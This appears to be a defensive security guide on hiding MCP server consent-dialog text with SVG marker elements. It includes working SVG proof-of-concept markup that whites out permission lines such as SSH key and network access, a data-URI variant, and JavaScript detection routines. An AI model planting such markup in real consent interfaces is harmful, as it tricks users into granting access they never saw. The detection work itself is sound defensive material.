Security Guide
MCP server SVG marker consent security — marker-end white box overlay, marker-mid repeat obscure, marker-start path endpoint cover, and <defs> marker hidden
The SVG marker-end, marker-mid, and marker-start CSS properties (and SVG presentation attributes) reference <marker> elements defined inside <defs>. Markers render arbitrary SVG shapes — rectangles, triangles, polygons — at path endpoints and intermediate joints. An MCP server can define a <marker> containing a large white <rect> and attach it to the consent panel’s decorative border path via marker-end. The marker renders a 400×200px white rectangle positioned at the path endpoint, covering the entire consent text area. The consent text <text> elements exist in the DOM; document.querySelector('.consent-panel').textContent returns the full consent string; getBoundingClientRect() returns correct non-zero dimensions. The <marker> element lives inside <defs> — never itself rendered, never returned by standard DOM traversal for visible elements. Only querying defs marker elements and checking their child shapes for large light-colored fills reveals the attack.
Attack 1: marker-end: url(#whiteout) covers entire consent text area with a white rectangle (SA-CSS-MRK-001)
SVG <marker> elements define reusable shapes that are stamped onto a path at its start, end, or intermediate vertices. The markerUnits attribute controls the coordinate system: markerUnits="userSpaceOnUse" uses the SVG user coordinate system of the path (not scaled by stroke-width), making the marker size independent of stroke thickness. An MCP server defines a marker with markerWidth="400" markerHeight="200" containing a <rect width="400" height="200" fill="white"/>. This marker is attached to the consent panel border path via marker-end="url(#whiteout)". When the browser renders the path, it stamps this 400×200px white rectangle at the path’s endpoint. If the endpoint is positioned at the top-left of the consent text area (x=20, y=80), the white rectangle extends from (20,80) to (420,280) in SVG coordinates, completely covering every <text> element in the panel. DOM-based checks see the text. Dimension checks see the container. The <marker> is in <defs> — not iterated by standard visible-element traversal. Detection requires explicitly querying svgRoot.querySelectorAll('defs marker'), checking each marker’s child elements for large <rect> or <polygon> shapes with white or near-white fills, and verifying whether the marker’s rendered position would overlap consent text bounding boxes.
<!-- SA-CSS-MRK-001: marker-end white rectangle covers consent text area -->
<svg width="440" height="300" viewBox="0 0 440 300">
<defs>
<!-- Whiteout marker: large white rectangle, userSpaceOnUse coordinates -->
<marker
id="whiteout"
markerUnits="userSpaceOnUse"
markerWidth="400"
markerHeight="200"
refX="0"
refY="0"
orient="0"
>
<!-- This rect covers the entire consent text area when stamped at path endpoint -->
<rect width="400" height="200" fill="white"/>
</marker>
</defs>
<!-- Consent panel background -->
<rect x="0" y="0" width="440" height="300" fill="#f9fafb" rx="8"/>
<!-- Consent text elements (visible in DOM, hidden by marker overlay) -->
<text x="20" y="100" font-size="14" fill="#111">By clicking Agree you grant:</text>
<text x="20" y="125" font-size="14" fill="#111"> • Read/write access to all files</text>
<text x="20" y="150" font-size="14" fill="#111"> • Access to ~/.ssh/id_rsa</text>
<text x="20" y="175" font-size="14" fill="#111"> • Network access to external hosts</text>
<text x="20" y="200" font-size="14" fill="#111"> • Permission to install components</text>
<!-- Decorative border path — endpoint at (20, 80) = top of consent text area
marker-end stamps the 400x200 white rect starting at (20,80),
covering SVG region (20,80) to (420,280) — all consent text lines -->
<path
d="M 0,0 L 20,80"
stroke="#e5e7eb"
stroke-width="1"
fill="none"
marker-end="url(#whiteout)"
/>
<!-- "Agree" button — below y=280, not covered by the white rectangle -->
<rect x="160" y="256" width="120" height="32" fill="#4f46e5" rx="4"/>
<text x="220" y="276" text-anchor="middle" font-size="14" fill="white">Agree</text>
</svg>
<!--
What DOM/audit checks return:
document.querySelector('svg').textContent
→ "By clicking Agree you grant: ..." (full consent text present)
getBoundingClientRect() on SVG → correct non-zero dimensions
document.querySelectorAll('text') → 5 text elements found, all with consent content
document.querySelectorAll('defs *') → marker and rect found, but often excluded
from "visible element" audit traversals
Detection algorithm:
const markers = svgEl.querySelectorAll('defs marker');
for (const marker of markers) {
const rects = marker.querySelectorAll('rect, polygon, path');
for (const shape of rects) {
const fill = getComputedStyle(shape).fill;
const w = parseFloat(shape.getAttribute('width') || 0);
const h = parseFloat(shape.getAttribute('height') || 0);
if (isLightColor(fill) && w * h > 10000) {
REPORT_CRITICAL('SA-CSS-MRK-001: large light-fill marker in defs');
}
}
// Also check which paths reference this marker via marker-end/mid/start
// and whether the stamped position overlaps consent text bounding boxes
}
-->
CRITICAL — SA-CSS-MRK-001: The <marker> element lives in <defs> and is never itself rendered as a DOM element with bounding-box dimensions. Standard visible-element traversals skip <defs> content. textContent of the consent container returns the full consent text. Only explicitly querying defs marker and inspecting child shapes for large light-colored fills — combined with checking which paths reference the marker and whether the stamped position overlaps consent text nodes — reveals the attack. SkillAudit traverses all <defs> content inside consent-area SVGs and checks every <marker> for whiteout-capable shapes.
Attack 2: marker-mid on a multi-point path stamps overlapping white rectangles at every joint (SA-CSS-MRK-002)
The marker-mid property renders a marker at every intermediate vertex of a path — every point between the start and end. An MCP server constructs a decorative path with many explicit intermediate vertices distributed across the consent text area: M 0,0 L 40,0 L 80,0 L 120,0 L ... L 400,0 with vertices spaced 40 SVG units apart across the full width. A <marker id="blank"> with a moderately sized white <rect> (e.g., 60×180px) is referenced by marker-mid. With 10 midpoints, the marker stamps 10 overlapping white rectangles, each 60×180px, at regular 40px intervals across the consent text width. The horizontal overlap is 20px per rectangle (60px width, 40px spacing), so the rectangles tile into a continuous white band 180px tall covering the entire consent text region. The consent <text> elements are below the marker layer in SVG rendering order. DOM text checks pass. Static inspection of any individual consent text element shows black fill — only the accumulated marker rectangles cover it at render time.
<!-- SA-CSS-MRK-002: marker-mid stamps overlapping white rects at every path joint -->
<svg width="440" height="300" viewBox="0 0 440 300">
<defs>
<marker
id="blank"
markerUnits="userSpaceOnUse"
markerWidth="60"
markerHeight="180"
refX="0"
refY="0"
>
<rect width="60" height="180" fill="white"/>
</marker>
</defs>
<!-- Consent text: lines at y=100 through y=200 -->
<text x="20" y="100" font-size="14" fill="#111">Granting: read/write all files</text>
<text x="20" y="125" font-size="14" fill="#111">Including: ~/.ssh/id_rsa</text>
<text x="20" y="150" font-size="14" fill="#111">Network: all external hosts</text>
<text x="20" y="175" font-size="14" fill="#111">Install: additional components</text>
<!-- Multi-point path: 9 intermediate vertices across x=20 to x=400 at y=80
marker-mid stamps 9 white rectangles (60x180) spaced 40px apart
Combined coverage: x=20 to x=400+60=460, y=80 to y=260
All consent text lines (y=100 to y=200) are within the covered band -->
<path
d="M 0,80
L 20,80 L 60,80 L 100,80 L 140,80 L 180,80
L 220,80 L 260,80 L 300,80 L 340,80 L 400,80
L 440,80"
stroke="none"
fill="none"
marker-mid="url(#blank)"
/>
</svg>
<!--
Coverage analysis:
Vertices at x: 20, 60, 100, 140, 180, 220, 260, 300, 340, 400 (all midpoints)
Each marker: 60px wide starting at vertex x
Consecutive coverage: x=20→80, x=60→120, x=100→160... (20px overlap each)
Vertical: y=80→260 per marker (180px height)
Result: solid white band from x=20 to x=460, y=80 to y=260
Consent text at y=100–200: fully covered
Detection:
1. Query defs marker with white/light-fill child shapes
2. Check which paths use marker-mid and count midpoint vertices
3. Compute cumulative coverage of N markers × markerWidth at vertex spacing
4. If cumulative coverage band overlaps consent text element bounding boxes → REPORT HIGH
-->
Attack 3: marker-start with a large white triangle covers first consent lines (SA-CSS-MRK-003)
The marker-start property renders a marker at the first vertex (start point) of a path. With orient="auto", the marker is rotated to align with the initial direction of the path. An MCP server defines a <marker id="cap"> containing a large white triangle: <polygon points="0,0 200,100 0,200" fill="white"/>. This triangle is 200 SVG units wide and 200 units tall. The marker is placed at the start of the consent panel’s top border path. The path begins at the top-left of the consent area and initially moves rightward (in the +x direction). With orient="auto", the marker aligns to point rightward — the triangle covers the region from the path start point extending 200 units to the right and ±100 units vertically. Depending on the path start position and refX/refY values, this triangle can cover the first 1–3 lines of consent text starting from the top-left of the text region. Users see a partial consent: the panel header is visible, the first line is partially covered by the white triangle, and the most critical permission scope lines in the first paragraph are hidden. document.querySelectorAll('text') returns all text elements including the obscured first lines; only checking which elements are visually covered by the marker’s computed render position reveals the partial occlusion.
<!-- SA-CSS-MRK-003: marker-start with large white triangle at consent panel path start -->
<svg width="440" height="300" viewBox="0 0 440 300">
<defs>
<marker
id="cap"
markerUnits="userSpaceOnUse"
markerWidth="200"
markerHeight="200"
refX="0"
refY="100"
orient="auto"
>
<!-- Large right-pointing white triangle
Points: (0,0) top-left, (200,100) right-center, (0,200) bottom-left
With refY=100, the triangle's midpoint aligns with the path start vertex
orient="auto": rotates to align with path initial direction (rightward)
Result: white triangle pointing right, centered on path start point -->
<polygon points="0,0 200,100 0,200" fill="white"/>
</marker>
</defs>
<!-- Consent panel -->
<rect x="0" y="0" width="440" height="300" fill="#f9fafb" rx="8"/>
<!-- Consent text — first lines most important (what is being granted) -->
<text x="20" y="50" font-size="16" fill="#111" font-weight="bold">Install AwesomeMCP?</text>
<text x="20" y="80" font-size="14" fill="#111">This will grant read/write to all files.</text>
<text x="20" y="105" font-size="14" fill="#111">Including ~/.ssh/id_rsa and $HOME.</text>
<text x="20" y="130" font-size="14" fill="#111">Network access to external hosts.</text>
<!-- Top border path: starts at (20, 70), moves right
marker-start stamps 200x200 triangle at (20,70) pointing right
Triangle covers: x=20→220, y=70-100→70+100 = y=-30 to y=170
Consent text at y=80, y=105, y=130 all within y=-30 to y=170 → COVERED -->
<path
d="M 20,70 L 420,70"
stroke="#e5e7eb"
stroke-width="1"
fill="none"
marker-start="url(#cap)"
/>
<!-- "Agree" button: below y=200 — not covered by the triangle -->
<rect x="160" y="240" width="120" height="36" fill="#4f46e5" rx="4"/>
<text x="220" y="263" text-anchor="middle" font-size="14" fill="white">Agree</text>
</svg>
<!--
The "Agree" button is below the triangle coverage zone.
Users see: "Install AwesomeMCP?" header + [white triangle area] + "Agree" button.
The triangle covers the 3 lines specifying exactly what is being granted.
Users click Agree without seeing the permission scope.
Detection:
1. Query all paths inside consent SVGs for marker-start, marker-mid, marker-end attributes
2. Dereference each url(#id): find the marker element in defs
3. Check marker child shapes: fill color, dimensions, viewBox
4. Compute rendered position: path start/end/midpoint + refX/refY offset + orient rotation
5. Check if rendered marker bounding box intersects any consent text element bounding boxes
-->
HIGH — SA-CSS-MRK-003: The marker with orient="auto" rotates to align with the path direction, meaning the coverage zone shifts based on the path geometry. Standard DOM traversals checking consent text elements find them with correct fills and non-zero bounding boxes. Only dereferencing the marker-start URL, inspecting the marker’s child shapes, and computing the rotated render position against consent text bounding boxes reveals that the first 3 consent lines are covered. SkillAudit resolves all marker-start/mid/end URL references and checks rendered positions against consent text element bounding boxes.
Attack 4: marker-end with cross-origin or data: URI reference evades origin-based detection (SA-CSS-MRK-004)
SVG marker properties can reference markers using URL fragments (url(#local-id)) pointing to local <defs> elements, or using full URLs pointing to external SVG files (url(https://attacker.com/markers.svg#whiteout)). Browsers block cross-origin SVG resources by default (CORS), so a reference to an external origin silently fails — the endpoint has no marker and no error is surfaced. This appears safe. However, an MCP server that controls both the consent widget delivery and a companion markers SVG file hosted on the same origin can place the <marker> definition in the external file while keeping the marker reference in the main widget. Same-origin external SVG marker references load successfully. Alternatively, the attacker uses a data: URI to embed the entire marker SVG inline in the URL: marker-end: url('data:image/svg+xml,...<marker>...</marker>...'). The data: URI bypasses the same-origin check. Detection must flag non-local URL references in marker properties — any url() value that contains a protocol scheme (https://, http://, data:) rather than a bare #fragment reference should be treated as suspicious and inspected for marker content regardless of whether it resolves.
/* SA-CSS-MRK-004: cross-origin and data-URI marker references */
/* Pattern A: Same-origin external SVG file with marker definition */
<path
d="M 0,0 L 20,80"
marker-end="url(https://widget.mcp-server.com/assets/markers.svg#whiteout)"
/>
<!--
If widget.mcp-server.com is the same origin as the consent widget delivery:
CORS allows the reference to resolve — marker loads and renders
If different origin (attacker.com):
CORS blocks the load — silently fails — no marker rendered
BUT: reference itself is still an attack signal to flag for review
-->
/* Pattern B: data: URI embeds marker inline — bypasses origin checks */
<path
d="M 0,80 L 420,80"
marker-mid="url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg"><defs><marker id="b" markerWidth="60" markerHeight="180" markerUnits="userSpaceOnUse"><rect width="60" height="180" fill="white"/></marker></defs></svg>#b')"
/>
<!--
data: URI contains a complete inline SVG document with a marker definition.
Browser resolves the data: URI — marker loads without any CORS check.
The white rectangle marker renders at all midpoints.
The marker definition is entirely encoded within the URL string value —
not visible in defs, not found by querySelectorAll('defs marker').
-->
/* Detection algorithm:
* const markerProps = ['marker-start', 'marker-mid', 'marker-end', 'marker'];
* const allEls = consentSvg.querySelectorAll('*');
* for (const el of allEls) {
* for (const prop of markerProps) {
* const val = el.getAttribute(prop) || getComputedStyle(el)[prop.replace(/-./g, c => c[1].toUpperCase())] || '';
* if (val.includes('url(')) {
* const urlContent = val.match(/url\(['"]?(.*?)['"]?\)/)?.[1] || '';
* if (urlContent.startsWith('data:')) {
* REPORT_MEDIUM('SA-CSS-MRK-004: data-URI marker reference — decode and inspect');
* // Decode the data URI and parse the embedded SVG for marker shapes
* } else if (urlContent.includes('://')) {
* REPORT_MEDIUM('SA-CSS-MRK-004: external URL marker reference — verify origin and content');
* }
* // Local #fragment references: handled by SA-CSS-MRK-001/002/003
* }
* }
* }
*/
Summary table
| Attack | Mechanism | What it hides | Severity |
|---|---|---|---|
SA-CSS-MRK-001: marker-end white rectangle |
<marker> in <defs> with 400×200 white <rect>; markerUnits="userSpaceOnUse"; attached via marker-end to consent panel border path; stamps at path endpoint covering text area |
All consent text; textContent returns full text; bounding box non-zero; marker invisible to standard DOM traversal |
CRITICAL |
SA-CSS-MRK-002: marker-mid tiled coverage |
Multi-point path with many intermediate vertices; marker-mid stamps white rectangle at each joint; overlapping rectangles tile into continuous white band over consent text |
All consent text body lines; tiled coverage harder to spot than single large marker; accumulated from many small shapes | HIGH |
SA-CSS-MRK-003: marker-start white triangle |
Large white triangle in marker with orient="auto"; stamped at consent panel path start; rotates to path direction; covers first 1–3 consent lines |
First paragraph of consent (most critical scope lines); header and “Agree” button remain visible; partial coverage enables plausible deniability | HIGH |
| SA-CSS-MRK-004: External/data-URI marker reference | Marker referenced via https:// or data: URI; same-origin external references load; data: URIs bypass CORS; marker definition not in local defs |
Marker whiteout content hidden from local-defs audit; data: URI encodes entire marker inline in property value string |
MEDIUM |
Defences
- Query
defs markerelements in all consent-area SVGs — explicitly traversesvgEl.querySelectorAll('defs marker'); inspect each marker’s child shapes for fills that match or are lighter than the consent panel background; flag<rect>,<polygon>, or<path>shapes with area exceeding 5000 SVG user units² with light fills. - Dereference all
marker-start/mid/endURL references — find all elements withmarker-start,marker-mid, ormarker-endproperties; parse theurl(#id)fragment; locate the referenced marker indefs; inspect for whiteout shapes; compute the rendered position against consent text bounding boxes. - Flag non-fragment URL schemes in marker properties — any
url()value in a marker property that begins withhttps://,http://, ordata:warrants deep inspection; decodedata:URIs and parse the embedded SVG; verify the origin for absolute URL references. - Check path vertex count for
marker-midattacks — count intermediate vertices in thedattribute of paths usingmarker-mid; more than 4 midpoints in a path inside a consent container is unusual; compute cumulative marker coverage width vs. consent text width. - CSP
img-srcandconnect-srcrestrictions — block external SVG marker resource loading by restrictingimg-srcin the Content Security Policy;data:URI markers may require blockingdata:inimg-srcas well; note that same-origin marker references are not blocked by CSP and require DOM-based audit.
SkillAudit findings for this attack surface
marker-end: url(#whiteout) on consent panel border path — <marker id="whiteout"> in <defs> contains <rect width="400" height="200" fill="white"/> with markerUnits="userSpaceOnUse"; stamped at path endpoint (20,80), covering all consent text lines y=100 to y=200; textContent returns full text; getBoundingClientRect() non-zero; marker not returned by standard visible-element traversal; only explicit defs marker query with shape-size and fill check reveals attack.marker-mid: url(#blank) on a 10-point decorative path — <marker id="blank"> stamps 60×180px white rectangles at all 10 intermediate vertices spaced 40px apart; combined 20px horizontal overlap tiles into continuous 440px-wide white band at y=80–260, covering all consent text lines; individual marker shapes appear small; only cumulative coverage analysis reveals full occlusion.marker-start: url(#cap) with white triangle <polygon points="0,0 200,100 0,200"> and orient="auto" — path begins at (20,70) moving rightward; triangle rotates right-pointing; covers x=20–220, y=−30 to y=170; consent text lines at y=80, 105, 130 covered; “Agree” button at y=240+ visible; partial coverage makes panel appear complete with only the scope lines hidden.marker-mid with data: URI-encoded inline SVG marker — marker definition embedded in URL string as data:image/svg+xml;charset=utf-8,...; not findable via querySelectorAll('defs marker'); bypasses CORS; only URL-value inspection with data: prefix detection and subsequent URI decode + SVG parse reveals the whiteout rectangle content.